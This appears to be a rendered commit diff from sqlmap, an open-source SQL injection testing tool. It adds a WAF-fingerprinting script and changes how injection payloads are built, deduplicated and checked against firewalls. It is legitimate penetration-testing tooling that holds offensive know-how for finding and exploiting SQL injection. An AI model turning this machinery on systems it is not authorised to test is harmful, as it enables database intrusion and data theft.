failed_tests = re.findall("running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout) failed_tests = re.findall(r"running live test case: (.+?) \((\d+)\/\d+\)[\r]*\n.+test failed (at parsing items: (.+))?\s*\- scan folder: (\/.+) \- traceback: (.*?)( - SQL injection not detected)?[\r]*\n", stdout)
for failed_test in failed_tests: for failed_test in failed_tests:
title = failed_test[0] title = failed_test[0]
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+8
View File
@@ -0,0 +1,8 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
pass
+121
View File
@@ -0,0 +1,121 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import cookielib
import glob
import httplib
import inspect
import os
import re
import subprocess
import sys
import urllib2
sys.dont_write_bytecode = True
NAME, VERSION, AUTHOR = "WAF Detectify", "0.1", "sqlmap developers (@sqlmap)"
TIMEOUT = 10
HEADERS = {"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Cache-Control": "max-age=0"}
SQLMAP_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
SCRIPTS_DIR = os.path.join(SQLMAP_DIR, "waf")
LEVEL_COLORS = {"o": "\033[00;94m", "x": "\033[00;91m", "!": "\033[00;93m", "i": "\033[00;92m"}
CACHE = {}
WAF_FUNCTIONS = []
def get_page(get=None, url=None, host=None, data=None):
key = (get, url, host, data)
if key in CACHE:
return CACHE[key]
page, headers, code = None, {}, httplib.OK
url = url or ("%s%s%s" % (sys.argv[1], '?' if '?' not in sys.argv[1] else '&', get) if get else sys.argv[1])
if not url.startswith("http"):
url = "http://%s" % url
try:
req = urllib2.Request("".join(url[_].replace(' ', "%20") if _ > url.find('?') else url[_] for _ in xrange(len(url))), data, HEADERS)
conn = urllib2.urlopen(req, timeout=TIMEOUT)
page = conn.read()
headers = conn.info()
except Exception, ex:
code = getattr(ex, "code", None)
page = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", "")
headers = ex.info() if hasattr(ex, "info") else {}
result = CACHE[key] = page, headers, code
return result
def colorize(message):
if not subprocess.mswindows and sys.stdout.isatty():
message = re.sub(r"\[(.)\]", lambda match: "[%s%s\033[00;49m]" % (LEVEL_COLORS[match.group(1)], match.group(1)), message)
message = message.replace("@sqlmap", "\033[00;96m@sqlmap\033[00;49m")
message = message.replace(NAME, "\033[00;93m%s\033[00;49m" % NAME)
return message
def main():
global WAF_FUNCTIONS
print colorize("%s #v%s\n by: %s\n" % (NAME, VERSION, AUTHOR))
if len(sys.argv) < 2:
exit(colorize("[x] usage: python %s <hostname>" % os.path.split(__file__)[-1]))
cookie_jar = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookie_jar))
urllib2.install_opener(opener)
sys.path.insert(0, SQLMAP_DIR)
for found in glob.glob(os.path.join(SCRIPTS_DIR, "*.py")):
dirname, filename = os.path.split(found)
dirname = os.path.abspath(dirname)
if filename == "__init__.py":
continue
if dirname not in sys.path:
sys.path.insert(0, dirname)
try:
if filename[:-3] in sys.modules:
del sys.modules[filename[:-3]]
module = __import__(filename[:-3].encode(sys.getfilesystemencoding() or "utf8"))
except ImportError, msg:
exit(colorize("[x] cannot import WAF script '%s' (%s)" % (filename[:-3], msg)))
_ = dict(inspect.getmembers(module))
if "detect" not in _:
exit(colorize("[x] missing function 'detect(get_page)' in WAF script '%s'" % found))
else:
WAF_FUNCTIONS.append((_["detect"], _.get("__product__", filename[:-3])))
WAF_FUNCTIONS = sorted(WAF_FUNCTIONS, key=lambda _: "generic" in _[1].lower())
print colorize("[i] checking '%s'..." % sys.argv[1])
found = False
for function, product in WAF_FUNCTIONS:
if found and "unknown" in product.lower():
continue
if function(get_page):
print colorize("[!] WAF/IPS identified as '%s'" % product)
found = True
if not found:
print colorize("[o] nothing found")
print
exit(int(not found))
if __name__ == "__main__":
main()
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+5 -5
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -140,11 +140,11 @@ def action():
conf.dbmsHandler.udfInjectCustom() conf.dbmsHandler.udfInjectCustom()
# File system options # File system options
if conf.rFile: if conf.fileRead:
conf.dumper.rFile(conf.dbmsHandler.readFile(conf.rFile)) conf.dumper.rFile(conf.dbmsHandler.readFile(conf.fileRead))
if conf.wFile: if conf.fileWrite:
conf.dbmsHandler.writeFile(conf.wFile, conf.dFile, conf.wFileType) conf.dbmsHandler.writeFile(conf.fileWrite, conf.fileDest, conf.fileWriteType)
# Operating system options # Operating system options
if conf.osCmd: if conf.osCmd:
+90 -60
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -13,6 +13,7 @@ import random
import re import re
import socket import socket
import subprocess import subprocess
import sys
import tempfile import tempfile
import time import time
@@ -47,6 +48,7 @@ from lib.core.common import unArrayizeValue
from lib.core.common import urlencode from lib.core.common import urlencode
from lib.core.common import wasLastResponseDBMSError from lib.core.common import wasLastResponseDBMSError
from lib.core.common import wasLastResponseHTTPError from lib.core.common import wasLastResponseHTTPError
from lib.core.convert import unicodeencode
from lib.core.defaults import defaults from lib.core.defaults import defaults
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
@@ -54,6 +56,7 @@ from lib.core.data import logger
from lib.core.datatype import AttribDict from lib.core.datatype import AttribDict
from lib.core.datatype import InjectionDict from lib.core.datatype import InjectionDict
from lib.core.decorators import cachedmethod from lib.core.decorators import cachedmethod
from lib.core.decorators import stackedmethod
from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS from lib.core.enums import HASHDB_KEYS
@@ -66,11 +69,14 @@ from lib.core.enums import NULLCONNECTION
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE from lib.core.enums import PLACE
from lib.core.enums import REDIRECTION from lib.core.enums import REDIRECTION
from lib.core.enums import WEB_PLATFORM
from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapConnectionException
from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH from lib.core.settings import CANDIDATE_SENTENCE_MIN_LENGTH
from lib.core.settings import CHECK_INTERNET_ADDRESS from lib.core.settings import CHECK_INTERNET_ADDRESS
from lib.core.settings import CHECK_INTERNET_VALUE from lib.core.settings import CHECK_INTERNET_VALUE
@@ -85,9 +91,12 @@ from lib.core.settings import IDS_WAF_CHECK_RATIO
from lib.core.settings import IDS_WAF_CHECK_TIMEOUT from lib.core.settings import IDS_WAF_CHECK_TIMEOUT
from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH from lib.core.settings import NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH
from lib.core.settings import PRECONNECT_INCOMPATIBLE_SERVERS
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import SUPPORTED_DBMS
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import URI_HTTP_HEADER from lib.core.settings import URI_HTTP_HEADER
from lib.core.settings import UPPER_RATIO_BOUND from lib.core.settings import UPPER_RATIO_BOUND
from lib.core.threads import getCurrentThreadData from lib.core.threads import getCurrentThreadData
@@ -355,7 +364,7 @@ def checkSqlInjection(place, parameter, value):
# Parse test's <request> # Parse test's <request>
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
for boundary in boundaries: for boundary in boundaries:
injectable = False injectable = False
@@ -431,7 +440,7 @@ def checkSqlInjection(place, parameter, value):
if conf.invalidLogical: if conf.invalidLogical:
_ = int(kb.data.randomInt[:2]) _ = int(kb.data.randomInt[:2])
origValue = "%s AND %s=%s" % (value, _, _ + 1) origValue = "%s AND %s LIKE %s" % (value, _, _ + 1)
elif conf.invalidBignum: elif conf.invalidBignum:
origValue = kb.data.randomInt[:6] origValue = kb.data.randomInt[:6]
elif conf.invalidString: elif conf.invalidString:
@@ -452,11 +461,13 @@ def checkSqlInjection(place, parameter, value):
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause) boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where) boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where) reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload: if reqPayload:
if reqPayload in seenPayload: stripPayload = re.sub(r"(\A|\b|_)([A-Za-z]{4}((?<!LIKE))|\d+)(_|\b|\Z)", r"\g<1>.\g<4>", reqPayload)
if stripPayload in seenPayload:
continue continue
else: else:
seenPayload.add(reqPayload) seenPayload.add(stripPayload)
else: else:
reqPayload = None reqPayload = None
@@ -464,13 +475,13 @@ def checkSqlInjection(place, parameter, value):
# payload was successful # payload was successful
# Parse test's <response> # Parse test's <response>
for method, check in test.response.items(): for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# In case of boolean-based blind SQL injection # In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON: if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison # Generate payload used for comparison
def genCmpPayload(): def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) else None) sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or "") else None)
# Forge response payload by prepending with # Forge response payload by prepending with
# boundary's prefix and appending the boundary's # boundary's prefix and appending the boundary's
@@ -554,14 +565,14 @@ def checkSqlInjection(place, parameter, value):
logger.info(infoMsg) logger.info(infoMsg)
else: else:
trueSet = set(extractTextTagContent(trueRawResponse)) trueSet = set(extractTextTagContent(trueRawResponse))
trueSet = trueSet.union(__ for _ in trueSet for __ in _.split()) trueSet |= set(__ for _ in trueSet for __ in _.split())
falseSet = set(extractTextTagContent(falseRawResponse)) falseSet = set(extractTextTagContent(falseRawResponse))
falseSet = falseSet.union(__ for _ in falseSet for __ in _.split()) falseSet |= set(__ for _ in falseSet for __ in _.split())
if threadData.lastErrorPage and threadData.lastErrorPage[1]: if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1])) errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
errorSet = errorSet.union(__ for _ in errorSet for __ in _.split()) errorSet |= set(__ for _ in errorSet for __ in _.split())
else: else:
errorSet = set() errorSet = set()
@@ -757,7 +768,7 @@ def checkSqlInjection(place, parameter, value):
infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
logger.info(infoMsg) logger.info(infoMsg)
process = subprocess.Popen(conf.alert, shell=True) process = subprocess.Popen(conf.alert.encode(sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait() process.wait()
kb.alerted = True kb.alerted = True
@@ -779,7 +790,7 @@ def checkSqlInjection(place, parameter, value):
if conf.multipleTargets: if conf.multipleTargets:
msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" msg = "how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='T', checkBatch=False).upper() choice = readInput(msg, default='X', checkBatch=False).upper()
else: else:
msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]" msg = "how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]"
choice = readInput(msg, default='S', checkBatch=False).upper() choice = readInput(msg, default='S', checkBatch=False).upper()
@@ -832,6 +843,7 @@ def checkSqlInjection(place, parameter, value):
return injection return injection
@stackedmethod
def heuristicCheckDbms(injection): def heuristicCheckDbms(injection):
""" """
This functions is called when boolean-based blind is identified with a This functions is called when boolean-based blind is identified with a
@@ -851,8 +863,8 @@ def heuristicCheckDbms(injection):
if conf.noEscape and dbms not in FROM_DUMMY_TABLE: if conf.noEscape and dbms not in FROM_DUMMY_TABLE:
continue continue
if checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr1)): if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)):
if not checkBooleanExpression("(SELECT '%s'%s)='%s'" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), randStr2)): if not checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr2, SINGLE_QUOTE_MARKER)):
retVal = dbms retVal = dbms
break break
@@ -868,6 +880,7 @@ def heuristicCheckDbms(injection):
return retVal return retVal
@stackedmethod
def checkFalsePositives(injection): def checkFalsePositives(injection):
""" """
Checks for false positives (only in single special cases) Checks for false positives (only in single special cases)
@@ -887,7 +900,7 @@ def checkFalsePositives(injection):
kb.injection = injection kb.injection = injection
for i in xrange(conf.level): for level in xrange(conf.level):
while True: while True:
randInt1, randInt2, randInt3 = (_() for j in xrange(3)) randInt1, randInt2, randInt3 = (_() for j in xrange(3))
@@ -929,6 +942,7 @@ def checkFalsePositives(injection):
return retVal return retVal
@stackedmethod
def checkSuhosinPatch(injection): def checkSuhosinPatch(injection):
""" """
Checks for existence of Suhosin-patch (and alike) protection mechanism(s) Checks for existence of Suhosin-patch (and alike) protection mechanism(s)
@@ -952,6 +966,7 @@ def checkSuhosinPatch(injection):
kb.injection = popValue() kb.injection = popValue()
@stackedmethod
def checkFilteredChars(injection): def checkFilteredChars(injection):
debugMsg = "checking for filtered characters" debugMsg = "checking for filtered characters"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -981,11 +996,6 @@ def checkFilteredChars(injection):
kb.injection = popValue() kb.injection = popValue()
def heuristicCheckSqlInjection(place, parameter): def heuristicCheckSqlInjection(place, parameter):
if kb.nullConnection:
debugMsg = "heuristic check skipped because NULL connection used"
logger.debug(debugMsg)
return None
if kb.heavilyDynamic: if kb.heavilyDynamic:
debugMsg = "heuristic check skipped because of heavy dynamicity" debugMsg = "heuristic check skipped because of heavy dynamicity"
logger.debug(debugMsg) logger.debug(debugMsg)
@@ -1043,9 +1053,19 @@ def heuristicCheckSqlInjection(place, parameter):
kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE kb.heuristicTest = HEURISTIC_TEST.CASTED if casting else HEURISTIC_TEST.NEGATIVE if not result else HEURISTIC_TEST.POSITIVE
if casting: if casting:
errMsg = "possible %s casting " % ("integer" if origValue.isdigit() else "type") errMsg = "possible %s casting detected (e.g. '" % ("integer" if origValue.isdigit() else "type")
errMsg += "detected (e.g. \"$%s=intval($_REQUEST['%s'])\") " % (parameter, parameter)
errMsg += "at the back-end web application" platform = conf.url.split('.')[-1].lower()
if platform == WEB_PLATFORM.ASP:
errMsg += "%s=CInt(request.querystring(\"%s\"))" % (parameter, parameter)
elif platform == WEB_PLATFORM.ASPX:
errMsg += "int.TryParse(Request.QueryString[\"%s\"], out %s)" % (parameter, parameter)
elif platform == WEB_PLATFORM.JSP:
errMsg += "%s=Integer.parseInt(request.getParameter(\"%s\"))" % (parameter, parameter)
else:
errMsg += "$%s=intval($_REQUEST[\"%s\"])" % (parameter, parameter)
errMsg += "') at the back-end web application"
logger.error(errMsg) logger.error(errMsg)
if kb.ignoreCasted is None: if kb.ignoreCasted is None:
@@ -1110,14 +1130,6 @@ def checkDynParam(place, parameter, value):
try: try:
payload = agent.payload(place, parameter, value, getUnicode(randInt)) payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False) dynResult = Request.queryPage(payload, place, raise404=False)
if not dynResult:
infoMsg = "confirming that %s parameter '%s' is dynamic" % (paramType, parameter)
logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, getUnicode(randInt))
dynResult = Request.queryPage(payload, place, raise404=False)
except SqlmapConnectionException: except SqlmapConnectionException:
pass pass
@@ -1221,7 +1233,7 @@ def checkStability():
logger.error(errMsg) logger.error(errMsg)
else: else:
warnMsg = "target URL content is not stable. sqlmap will base the page " warnMsg = "target URL content is not stable (i.e. content differs). sqlmap will base the page "
warnMsg += "comparison on a sequence matcher. If no dynamic nor " warnMsg += "comparison on a sequence matcher. If no dynamic nor "
warnMsg += "injectable parameters are detected, or in case of " warnMsg += "injectable parameters are detected, or in case of "
warnMsg += "junk results, refer to user's manual paragraph " warnMsg += "junk results, refer to user's manual paragraph "
@@ -1306,14 +1318,14 @@ def checkRegexp():
rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page) rawResponse = "%s%s" % (listToStrValue(headers.headers if headers else ""), page)
if not re.search(conf.regexp, rawResponse, re.I | re.M): if not re.search(conf.regexp, rawResponse, re.I | re.M):
warnMsg = "you provided '%s' as the regular expression to " % conf.regexp warnMsg = "you provided '%s' as the regular expression " % conf.regexp
warnMsg += "match, but such a regular expression does not have any " warnMsg += "which does not have any match within the target URL raw response. sqlmap "
warnMsg += "match within the target URL raw response, sqlmap "
warnMsg += "will carry on anyway" warnMsg += "will carry on anyway"
logger.warn(warnMsg) logger.warn(warnMsg)
return True return True
@stackedmethod
def checkWaf(): def checkWaf():
""" """
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
@@ -1326,7 +1338,7 @@ def checkWaf():
if _ is not None: if _ is not None:
if _: if _:
warnMsg = "previous heuristics detected that the target " warnMsg = "previous heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS" warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg) logger.critical(warnMsg)
return _ return _
@@ -1334,7 +1346,7 @@ def checkWaf():
return None return None
infoMsg = "checking if the target is protected by " infoMsg = "checking if the target is protected by "
infoMsg += "some kind of WAF/IPS/IDS" infoMsg += "some kind of WAF/IPS"
logger.info(infoMsg) logger.info(infoMsg)
retVal = False retVal = False
@@ -1348,25 +1360,33 @@ def checkWaf():
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload)) value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
pushValue(kb.redirectChoice)
pushValue(kb.resendPostOnRedirect)
pushValue(conf.timeout) pushValue(conf.timeout)
kb.redirectChoice = REDIRECTION.YES
kb.resendPostOnRedirect = False
conf.timeout = IDS_WAF_CHECK_TIMEOUT conf.timeout = IDS_WAF_CHECK_TIMEOUT
try: try:
retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True, disableTampering=True)[1] < IDS_WAF_CHECK_RATIO
except SqlmapConnectionException: except SqlmapConnectionException:
retVal = True retVal = True
finally: finally:
kb.matchRatio = None kb.matchRatio = None
conf.timeout = popValue() conf.timeout = popValue()
kb.resendPostOnRedirect = popValue()
kb.redirectChoice = popValue()
if retVal: if retVal:
warnMsg = "heuristics detected that the target " warnMsg = "heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS/IDS" warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg) logger.critical(warnMsg)
if not conf.identifyWaf: if not conf.identifyWaf:
message = "do you want sqlmap to try to detect backend " message = "do you want sqlmap to try to detect backend "
message += "WAF/IPS/IDS? [y/N] " message += "WAF/IPS? [y/N] "
if readInput(message, default='N', boolean=True): if readInput(message, default='N', boolean=True):
conf.identifyWaf = True conf.identifyWaf = True
@@ -1379,6 +1399,7 @@ def checkWaf():
return retVal return retVal
@stackedmethod
def identifyWaf(): def identifyWaf():
if not conf.identifyWaf: if not conf.identifyWaf:
return None return None
@@ -1389,7 +1410,7 @@ def identifyWaf():
kb.testMode = True kb.testMode = True
infoMsg = "using WAF scripts to detect " infoMsg = "using WAF scripts to detect "
infoMsg += "backend WAF/IPS/IDS protection" infoMsg += "backend WAF/IPS protection"
logger.info(infoMsg) logger.info(infoMsg)
@cachedmethod @cachedmethod
@@ -1416,7 +1437,7 @@ def identifyWaf():
continue continue
try: try:
logger.debug("checking for WAF/IPS/IDS product '%s'" % product) logger.debug("checking for WAF/IPS product '%s'" % product)
found = function(_) found = function(_)
except Exception, ex: except Exception, ex:
errMsg = "exception occurred while running " errMsg = "exception occurred while running "
@@ -1426,19 +1447,19 @@ def identifyWaf():
found = False found = False
if found: if found:
errMsg = "WAF/IPS/IDS identified as '%s'" % product errMsg = "WAF/IPS identified as '%s'" % product
logger.critical(errMsg) logger.critical(errMsg)
retVal.append(product) retVal.append(product)
if retVal: if retVal:
if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower(): if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
os.close(handle) os.close(handle)
with openFile(filename, "w+b") as f: with openFile(filename, "w+b") as f:
f.write(kb.wafSpecificResponse) f.write(kb.wafSpecificResponse)
message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename message = "WAF/IPS specific response can be found in '%s'. " % filename
message += "If you know the details on used protection please " message += "If you know the details on used protection please "
message += "report it along with specific response " message += "report it along with specific response "
message += "to '%s'" % DEV_EMAIL_ADDRESS message += "to '%s'" % DEV_EMAIL_ADDRESS
@@ -1455,7 +1476,7 @@ def identifyWaf():
if not choice: if not choice:
raise SqlmapUserQuitException raise SqlmapUserQuitException
else: else:
warnMsg = "WAF/IPS/IDS product hasn't been identified" warnMsg = "WAF/IPS product hasn't been identified"
logger.warn(warnMsg) logger.warn(warnMsg)
kb.testType = None kb.testType = None
@@ -1463,6 +1484,7 @@ def identifyWaf():
return retVal return retVal
@stackedmethod
def checkNullConnection(): def checkNullConnection():
""" """
Reference: http://www.wisec.it/sectou.php?id=472f952d79293 Reference: http://www.wisec.it/sectou.php?id=472f952d79293
@@ -1511,18 +1533,23 @@ def checkNullConnection():
return kb.nullConnection is not None return kb.nullConnection is not None
def checkConnection(suppressOutput=False): def checkConnection(suppressOutput=False):
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)): if not re.search(r"\A\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z", conf.hostname):
try: if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
debugMsg = "resolving hostname '%s'" % conf.hostname try:
logger.debug(debugMsg) debugMsg = "resolving hostname '%s'" % conf.hostname
socket.getaddrinfo(conf.hostname, None) logger.debug(debugMsg)
except socket.gaierror: socket.getaddrinfo(conf.hostname, None)
errMsg = "host '%s' does not exist" % conf.hostname except socket.gaierror:
raise SqlmapConnectionException(errMsg) errMsg = "host '%s' does not exist" % conf.hostname
except socket.error, ex: raise SqlmapConnectionException(errMsg)
errMsg = "problem occurred while " except socket.error, ex:
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) errMsg = "problem occurred while "
raise SqlmapConnectionException(errMsg) errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg)
except UnicodeError, ex:
errMsg = "problem occurred while "
errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapDataException(errMsg)
if not suppressOutput and not conf.dummy and not conf.offline: if not suppressOutput and not conf.dummy and not conf.offline:
infoMsg = "testing connection to the target URL" infoMsg = "testing connection to the target URL"
@@ -1535,6 +1562,10 @@ def checkConnection(suppressOutput=False):
kb.errorIsNone = False kb.errorIsNone = False
if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError(): if not kb.originalPage and wasLastResponseHTTPError():
errMsg = "unable to retrieve page content" errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
@@ -1550,11 +1581,10 @@ def checkConnection(suppressOutput=False):
else: else:
kb.errorIsNone = True kb.errorIsNone = True
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
if conf.hostname in (threadData.lastRedirectURL[1] or "") and threadData.lastRedirectURL[1].startswith("https://"): if (threadData.lastRedirectURL[1] or "").startswith("https://") and unicodeencode(conf.hostname) in threadData.lastRedirectURL[1]:
conf.url = re.sub(r"https?://", "https://", conf.url) conf.url = re.sub(r"https?://", "https://", conf.url)
match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443 port = match.group(1) if match else 443
+28 -12
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
